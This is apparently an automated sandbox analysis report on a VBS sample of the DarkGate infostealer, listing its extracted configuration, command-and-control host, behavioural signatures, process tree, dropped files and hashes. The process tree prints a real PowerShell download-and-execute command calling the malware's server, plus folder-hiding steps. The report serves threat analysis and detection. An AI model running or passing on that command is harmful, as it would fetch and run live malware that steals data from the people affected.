Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/03/2024, 08:03

General

  • Target
    cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040.vbs
  • Size 6KB
  • Sample240327-jx4bbaba5x
  • SHA256 cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • admin888

C2
  • backupitfirst.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    SfUQxDje

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'backupitfirst.com/rudxfiyb')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:404
      • C:\rqzo\AutoHotkey.exe
        "C:\rqzo\AutoHotkey.exe" C:/rqzo/script.ahk
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:3544
      • C:\Windows\system32\attrib.exe
        "C:\Windows\system32\attrib.exe" +h C:/rqzo/
        3⤵
        • Views/modifies file attributes
        PID:1704
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3864 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:4196

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_p22vaa0m.2af.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p22vaa0m.2af.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          AutoHotkey.exe

          • Path C:\rqzo\AutoHotkey.exe
          • Size 892KB
          • SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
          • MD5 SHA1 SHA512 SSDEEP

          AutoHotkey.exe

          • Path C:\rqzo\AutoHotkey.exe
          • Size 800KB
          • SHA256 98fc5d128a9bec14b81d6581ddbab5a3faf15ece29f97471087ee6833162b44e
          • MD5 SHA1 SHA512 SSDEEP

          script.ahk

          • Path C:\rqzo\script.ahk
          • Size 56KB
          • SHA256 08037bf46f2e4d7654b2f4d9073ed9eababb35b538927dcae5ed665ad7b4e1c6
          • MD5 SHA1 SHA512 SSDEEP

          test.txt

          • Path C:\rqzo\test.txt
          • Size 916KB
          • SHA256 89445e407e345c8c4a8606210787957db44c4ec1acec6a17dfe7e78203f4ca40
          • MD5 SHA1 SHA512 SSDEEP

          memory/404-12-0x000002854A440000-0x000002854A450000-memory.dmp

          memory/404-13-0x0000028562C60000-0x0000028562E22000-memory.dmp

          memory/404-11-0x000002854A440000-0x000002854A450000-memory.dmp

          memory/404-10-0x00007FFA05710000-0x00007FFA061D1000-memory.dmp

          memory/404-31-0x00007FFA05710000-0x00007FFA061D1000-memory.dmp

          memory/404-9-0x0000028562590000-0x00000285625B2000-memory.dmp

          memory/3544-34-0x0000000004AB0000-0x0000000004B23000-memory.dmp

          memory/3544-36-0x0000000004AB0000-0x0000000004B23000-memory.dmp